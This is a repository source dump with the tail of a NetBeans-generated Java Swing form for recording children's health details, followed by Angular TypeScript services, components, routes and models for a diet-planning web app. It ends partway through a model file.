jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel11Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel13)
.addComponent(jTextField3, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addContainerGap())
);
jPanel12.setBackground(new java.awt.Color(102, 204, 0));
jPanel12.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(0, 0, 0)));
jLabel14.setText("Address of communication");
javax.swing.GroupLayout jPanel12Layout = new javax.swing.GroupLayout(jPanel12);
jPanel12.setLayout(jPanel12Layout);
jPanel12Layout.setHorizontalGroup(
jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel12Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel14)
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
jPanel12Layout.setVerticalGroup(
jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel12Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel14)
.addContainerGap())
);
jPanel15.setBackground(new java.awt.Color(102, 204, 0));
jPanel15.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(0, 0, 0)));
jLabel16.setText("Permanent Address");
jLabel15.setText("Residential Address ");
javax.swing.GroupLayout jPanel15Layout = new javax.swing.GroupLayout(jPanel15);
jPanel15.setLayout(jPanel15Layout);
jPanel15Layout.setHorizontalGroup(
jPanel15Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel15Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel15)
.addGap(428, 428, 428)
.addComponent(jLabel16)
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
jPanel15Layout.setVerticalGroup(
jPanel15Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel15Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel15Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel15)
.addComponent(jLabel16))
.addContainerGap())
);
jTextArea1.setColumns(20);
jTextArea1.setRows(5);
jTextArea1.setWrapStyleWord(true);
jScrollPane1.setViewportView(jTextArea1);
jPanel13.setBackground(new java.awt.Color(255, 255, 255));
jPanel13.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(0, 0, 0)));
javax.swing.GroupLayout jPanel13Layout = new javax.swing.GroupLayout(jPanel13);
jPanel13.setLayout(jPanel13Layout);
jPanel13Layout.setHorizontalGroup(
jPanel13Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGap(0, 519, Short.MAX_VALUE)
);
jPanel13Layout.setVerticalGroup(
jPanel13Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGap(0, 66, Short.MAX_VALUE)
);
jPanel19.setBackground(new java.awt.Color(255, 255, 255));
jPanel19.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(0, 0, 0)));
jComboBox1.setModel(new javax.swing.DefaultComboBoxModel<>(new String[] { "Item 1", "Item 2", "Item 3", "Item 4" }));
jLabel22.setText("Allergic with");
javax.swing.GroupLayout jPanel19Layout = new javax.swing.GroupLayout(jPanel19);
jPanel19.setLayout(jPanel19Layout);
jPanel19Layout.setHorizontalGroup(
jPanel19Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel19Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel22)
.addGap(208, 208, 208)
.addComponent(jComboBox1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
jPanel19Layout.setVerticalGroup(
jPanel19Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel19Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel19Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel22)
.addComponent(jComboBox1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addContainerGap())
);
jPanel20.setBackground(new java.awt.Color(255, 255, 255));
jPanel20.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(0, 0, 0)));
jComboBox2.setModel(new javax.swing.DefaultComboBoxModel<>(new String[] { "Item 1", "Item 2", "Item 3", "Item 4" }));
jLabel23.setText("Any Chronic illness");
javax.swing.GroupLayout jPanel20Layout = new javax.swing.GroupLayout(jPanel20);
jPanel20.setLayout(jPanel20Layout);
jPanel20Layout.setHorizontalGroup(
jPanel20Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel20Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel23)
.addGap(173, 173, 173)
.addComponent(jComboBox2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
jPanel20Layout.setVerticalGroup(
jPanel20Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel20Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel20Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel23)
.addComponent(jComboBox2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addContainerGap())
);
jPanel21.setBackground(new java.awt.Color(255, 255, 255));
jPanel21.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(0, 0, 0)));
jComboBox3.setModel(new javax.swing.DefaultComboBoxModel<>(new String[] { "Item 1", "Item 2", "Item 3", "Item 4", "item 5", "item 6", "item 7", "item 8", " " }));
jLabel24.setText("Medicines Commonly used");
javax.swing.GroupLayout jPanel21Layout = new javax.swing.GroupLayout(jPanel21);
jPanel21.setLayout(jPanel21Layout);
jPanel21Layout.setHorizontalGroup(
jPanel21Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel21Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel24)
.addGap(128, 128, 128)
.addComponent(jComboBox3, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap(733, Short.MAX_VALUE))
);
jPanel21Layout.setVerticalGroup(
jPanel21Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel21Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel21Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel24)
.addComponent(jComboBox3, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addContainerGap())
);
javax.swing.GroupLayout jPanel25Layout = new javax.swing.GroupLayout(jPanel25);
jPanel25.setLayout(jPanel25Layout);
jPanel25Layout.setHorizontalGroup(
jPanel25Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel25Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel25Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jPanel5, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jPanel6, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jPanel7, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jPanel8, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jPanel9, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jPanel10, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jPanel11, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jPanel12, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jPanel15, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jPanel19, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jPanel20, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addGroup(jPanel25Layout.createSequentialGroup()
.addGroup(jPanel25Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel25Layout.createSequentialGroup()
.addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 545, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jPanel13, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addComponent(jPanel21, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(0, 9, Short.MAX_VALUE)))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jPanel3, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addContainerGap())
);
jPanel25Layout.setVerticalGroup(
jPanel25Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel25Layout.createSequentialGroup()
.addGroup(jPanel25Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jPanel3, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGroup(jPanel25Layout.createSequentialGroup()
.addComponent(jPanel5, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jPanel6, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jPanel7, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jPanel8, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jPanel9, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jPanel10, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(jPanel11, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jPanel12, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jPanel15, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanel25Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE)
.addComponent(jPanel13, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jPanel19, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(jPanel20, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(jPanel21, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)))
.addGap(0, 13, Short.MAX_VALUE))
);
javax.swing.GroupLayout jPanel29Layout = new javax.swing.GroupLayout(jPanel29);
jPanel29.setLayout(jPanel29Layout);
jPanel29Layout.setHorizontalGroup(
jPanel29Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel29Layout.createSequentialGroup()
.addComponent(jPanel18, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(0, 0, Short.MAX_VALUE))
.addGroup(jPanel29Layout.createSequentialGroup()
.addComponent(jPanel14, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addContainerGap())
.addComponent(jPanel25, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
);
jPanel29Layout.setVerticalGroup(
jPanel29Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel29Layout.createSequentialGroup()
.addComponent(jPanel14, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(0, 55, Short.MAX_VALUE)
.addComponent(jPanel25, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jPanel18, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap())
);
jScrollPane3.setViewportView(jPanel29);
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addComponent(jScrollPane3, javax.swing.GroupLayout.PREFERRED_SIZE, 1107, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap(318, Short.MAX_VALUE))
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
.addComponent(jScrollPane3, javax.swing.GroupLayout.PREFERRED_SIZE, 1209, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(0, 0, Short.MAX_VALUE))
);
pack();
}// </editor-fold>//GEN-END:initComponents
private void jTextField1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jTextField1ActionPerformed
// TODO add your handling code here:
}//GEN-LAST:event_jTextField1ActionPerformed
private void jCheckBox1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jCheckBox1ActionPerformed
// TODO add your handling code here:
}//GEN-LAST:event_jCheckBox1ActionPerformed
private void jCheckBox8ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jCheckBox8ActionPerformed
// TODO add your handling code here:
}//GEN-LAST:event_jCheckBox8ActionPerformed
private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton1ActionPerformed
// TODO add your handling code here:
}//GEN-LAST:event_jButton1ActionPerformed
private void jTextField4ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jTextField4ActionPerformed
// TODO add your handling code here:
}//GEN-LAST:event_jTextField4ActionPerformed
private void jTextField5ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jTextField5ActionPerformed
// TODO add your handling code here:
}//GEN-LAST:event_jTextField5ActionPerformed
private void jTextField6ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jTextField6ActionPerformed
// TODO add your handling code here:
}//GEN-LAST:event_jTextField6ActionPerformed
private void jRadioButton1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jRadioButton1ActionPerformed
// TODO add your handling code here:
}//GEN-LAST:event_jRadioButton1ActionPerformed
private void jTextField9ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jTextField9ActionPerformed
// TODO add your handling code here:
}//GEN-LAST:event_jTextField9ActionPerformed
private void jTextField7ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jTextField7ActionPerformed
// TODO add your handling code here:
}//GEN-LAST:event_jTextField7ActionPerformed
private void jTextField11ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jTextField11ActionPerformed
// TODO add your handling code here:
}//GEN-LAST:event_jTextField11ActionPerformed
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */
//<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">
/* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.
* For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
*/
try {
for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {
if ("Nimbus".equals(info.getName())) {
javax.swing.UIManager.setLookAndFeel(info.getClassName());
break;
}
}
} catch (ClassNotFoundException ex) {
java.util.logging.Logger.getLogger(KidsInfo.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(KidsInfo.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
java.util.logging.Logger.getLogger(KidsInfo.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(KidsInfo.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
}
//</editor-fold>
/* Create and display the form */
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new KidsInfo().setVisible(true);
}
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton jButton1;
private javax.swing.JCheckBox jCheckBox1;
private javax.swing.JCheckBox jCheckBox2;
private javax.swing.JCheckBox jCheckBox3;
private javax.swing.JCheckBox jCheckBox4;
private javax.swing.JCheckBox jCheckBox5;
private javax.swing.JCheckBox jCheckBox6;
private javax.swing.JCheckBox jCheckBox7;
private javax.swing.JCheckBox jCheckBox8;
private javax.swing.JCheckBox jCheckBox9;
private javax.swing.JComboBox<String> jComboBox1;
private javax.swing.JComboBox<String> jComboBox2;
private javax.swing.JComboBox<String> jComboBox3;
private javax.swing.JComboBox<String> jComboBox4;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel10;
private javax.swing.JLabel jLabel11;
private javax.swing.JLabel jLabel12;
private javax.swing.JLabel jLabel13;
private javax.swing.JLabel jLabel14;
private javax.swing.JLabel jLabel15;
private javax.swing.JLabel jLabel16;
private javax.swing.JLabel jLabel17;
private javax.swing.JLabel jLabel18;
private javax.swing.JLabel jLabel19;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel20;
private javax.swing.JLabel jLabel21;
private javax.swing.JLabel jLabel22;
private javax.swing.JLabel jLabel23;
private javax.swing.JLabel jLabel24;
private javax.swing.JLabel jLabel25;
private javax.swing.JLabel jLabel3;
private javax.swing.JLabel jLabel4;
private javax.swing.JLabel jLabel5;
private javax.swing.JLabel jLabel6;
private javax.swing.JLabel jLabel7;
private javax.swing.JLabel jLabel8;
private javax.swing.JLabel jLabel9;
private javax.swing.JPanel jPanel1;
private javax.swing.JPanel jPanel10;
private javax.swing.JPanel jPanel11;
private javax.swing.JPanel jPanel12;
private javax.swing.JPanel jPanel13;
private javax.swing.JPanel jPanel14;
private javax.swing.JPanel jPanel15;
private javax.swing.JPanel jPanel16;
private javax.swing.JPanel jPanel17;
private javax.swing.JPanel jPanel18;
private javax.swing.JPanel jPanel19;
private javax.swing.JPanel jPanel2;
private javax.swing.JPanel jPanel20;
private javax.swing.JPanel jPanel21;
private javax.swing.JPanel jPanel22;
private javax.swing.JPanel jPanel23;
private javax.swing.JPanel jPanel24;
private javax.swing.JPanel jPanel25;
private javax.swing.JPanel jPanel26;
private javax.swing.JPanel jPanel27;
private javax.swing.JPanel jPanel28;
private javax.swing.JPanel jPanel29;
private javax.swing.JPanel jPanel3;
private javax.swing.JPanel jPanel4;
private javax.swing.JPanel jPanel5;
private javax.swing.JPanel jPanel6;
private javax.swing.JPanel jPanel7;
private javax.swing.JPanel jPanel8;
private javax.swing.JPanel jPanel9;
private javax.swing.JRadioButton jRadioButton1;
private javax.swing.JRadioButton jRadioButton2;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JScrollPane jScrollPane2;
private javax.swing.JScrollPane jScrollPane3;
private javax.swing.JTextArea jTextArea1;
private javax.swing.JTextArea jTextArea2;
private javax.swing.JTextField jTextField1;
private javax.swing.JTextField jTextField10;
private javax.swing.JTextField jTextField11;
private javax.swing.JTextField jTextField2;
private javax.swing.JTextField jTextField3;
private javax.swing.JTextField jTextField4;
private javax.swing.JTextField jTextField5;
private javax.swing.JTextField jTextField6;
private javax.swing.JTextField jTextField7;
private javax.swing.JTextField jTextField8;
private javax.swing.JTextField jTextField9;
// End of variables declaration//GEN-END:variables
}
| b5aff25762e5f24c46556ae033a2031b200da4dc | [
"Java"
] | 1 | Java | abhishek6234/svhf | a26480aa809fea015f17c17d70eef5b0879ae63d | 18ecf3681ebf1ff53823ed988bd49477c6399dd4 |
refs/heads/master | <file_sep>import { Component, OnInit } from '@angular/core';
import { RecipetypeService } from './recipetype.service';
import { Recipe } from '../add-recipe/recipe';
@Component({
selector: 'app-recipetype',
templateUrl: './recipetype.component.html',
styleUrls: ['./recipetype.component.css']
})
export class RecipetypeComponent implements OnInit {
recipe: Recipe[];
constructor( private rService: RecipetypeService) { }
ngOnInit() {
this.rService.getData().subscribe(
(data:Recipe[]) => {
this.recipe = data;
}
)
}
}
<file_sep>import { Injectable } from '@angular/core';
import { HttpClient, HttpHeaders } from '@angular/common/http';
import { Package } from '../add-package/package';
import { Observable } from 'rxjs';
@Injectable({
providedIn: 'root'
})
export class PackagelistService {
url = 'http://localhost:3000/';
httpOptions = {
headers: new HttpHeaders({ 'Content-Type': 'application/json'})
};
constructor(private http: HttpClient) { }
getData() {
return this.http.get(this.url + 'package');
}
}
<file_sep>import { TestBed } from '@angular/core/testing';
import { PlanlistService } from './planlist.service';
describe('PlanlistService', () => {
beforeEach(() => TestBed.configureTestingModule({}));
it('should be created', () => {
const service: PlanlistService = TestBed.get(PlanlistService);
expect(service).toBeTruthy();
});
});
<file_sep>export interface Table {
customer_code: string;
customer_name: string;
customer_email: string;
customer_contactno: string;
city: string;
birth_date: string;
gender: string;
height: string;
weight: string;
activity: string;
dietary_habits: string;
}<file_sep>import { Component, OnInit } from '@angular/core';
import { FormBuilder, FormGroup, Validators } from '@angular/forms';
import { CustomerImport, Selectpackage, Gender, Selectgroup } from '../customerimport';
import { Package } from '../add-package/package';
import { ImportService } from './import.service';
import { PackageService } from '../add-package/package.service';
@Component({
selector: 'app-customer-import',
templateUrl: './customer-import.component.html',
styleUrls: ['./customer-import.component.css']
})
export class CustomerImportComponent implements OnInit {
importForm: FormGroup;
cimport: CustomerImport;
selectPackage = Selectpackage;
selectGroup = Selectgroup;
genderType = Gender;
posts: CustomerImport[] = [];
packages: Package[];
constructor(private ci: FormBuilder, private imService: ImportService) {
this.createImportForm();
}
ngOnInit() {
this.imService.getData().subscribe((data: Package[]) => {
this.packages = data;
});
}
createImportForm() {
this.importForm = this.ci.group({
isIndividual: false,
group_name: '',
package_name: '',
customer_name: '',
customer_email: '',
customer_contactno: '',
gender: ''
});
}
onSubmit() {
this.cimport = this.importForm.value;
console.log(this.cimport);
this.importForm.reset();
this.imService.createPost(this.cimport).subscribe(
data => this.posts.push(data)
);
}
}
<file_sep>import { Routes } from '@angular/router';
import { NgModule } from '@angular/core';
import { CommonModule } from '@angular/common';
import { RouterModule } from '@angular/router';
import { PlanListComponent } from '../plan-list/plan-list.component';
import { PlanComponent } from '../plan/plan.component';
import { DietitianComponent } from '../dietitian/dietitian.component';
import { AddDietitianComponent } from '../add-dietitian/add-dietitian.component';
import { PackageComponent } from '../package/package.component';
import { AddPackageComponent } from '../add-package/add-package.component';
import { GroupComponent } from '../group/group.component';
import { CustomerSignupComponent } from '../customer-signup/customer-signup.component';
import { RecipetypeComponent } from '../recipetype/recipetype.component';
import { UnitofmeasurementComponent } from '../unitofmeasurement/unitofmeasurement.component';
import { AddUomComponent } from '../add-uom/add-uom.component';
import { RecipeComponent } from '../recipe/recipe.component';
import { AddRecipeComponent } from '../add-recipe/add-recipe.component';
import { IngredientComponent } from '../ingredient/ingredient.component';
import { CustomerImportComponent } from '../customer-import/customer-import.component';
import { CustomerListComponent } from '../customer-list/customer-list.component';
import { AdminDietComponent } from '../admin-diet/admin-diet.component';
import { RecipeUnitComponent } from '../recipe-unit/recipe-unit.component';
import { DashboardComponent } from '../dashboard/dashboard.component';
import { RecipeFormComponent } from '../recipe-form/recipe-form.component';
import { CustomerPackageComponent } from '../customer-package/customer-package.component';
import { AddIngredientComponent } from '../add-ingredient/add-ingredient.component';
import { CustomerimportlistComponent } from '../customerimportlist/customerimportlist.component';
import { AdmindietEditComponent } from '../admindiet-edit/admindiet-edit.component';
export const routes: Routes = [
{path: 'plan-list', component: PlanListComponent },
{path: 'plan', component: PlanComponent},
{path: 'plan/:id', component: PlanComponent},
{path: 'dietitian', component: DietitianComponent},
{path: 'add-dietitian', component: AddDietitianComponent},
{path: 'package', component: PackageComponent},
{path: 'add-package', component: AddPackageComponent},
{path: 'group', component: GroupComponent},
{path: 'customersignup', component: CustomerSignupComponent},
{path: 'recipetype', component: RecipetypeComponent},
{path: 'add-recipe', component: AddRecipeComponent},
{path: 'uom', component: UnitofmeasurementComponent},
{path: 'add-uom', component: AddUomComponent},
{path: 'recipe', component: RecipeComponent},
{path: 'recipe-form', component: RecipeFormComponent},
{path: 'ingredient', component: IngredientComponent},
{path: 'add-ingredient', component: AddIngredientComponent},
{path: 'customerimport' , component: CustomerImportComponent},
{path: 'customer-import-list', component: CustomerimportlistComponent},
{path: 'customerlist', component: CustomerListComponent},
{path: 'customerpackage', component: CustomerPackageComponent},
{path: 'admin-diet', component: AdminDietComponent},
{path: 'recipe-unit', component: RecipeUnitComponent},
{path: 'dashboard', component: DashboardComponent},
{path: 'admindiet-edit', component: AdmindietEditComponent},
{path: '', redirectTo:'/dashboard', pathMatch: 'full'}
]; <file_sep>export class Ingredient {
food_group : string;
food_code : string;
type : string;
food_name : string;
guju_name : string;
quantity : string;
one_exchange : number;
energy_kj : number;
energy_kcal: number;
gi_value : number;
gl_value : number;
carbohydrate : number;
protein : number;
total_fibre : number;
solublf : number;
in_solublf : number;
invisible_totalfat : number;
visiblefat : number;
thiamine : number;
riboflavin : number;
niacin : number;
biotin : number;
folates : number;
ascorbic_Acid : number;
vitamin_d2d3 : number;
calcium : number;
phosphorous : number;
iron : number;
sodium : number;
potassium : number;
zinc : number;
magnesium : number;
sfa : number;
isActive : Boolean;
}<file_sep>export class Feedback {
customer_code: string;
customer_name: string;
customer_email: string;
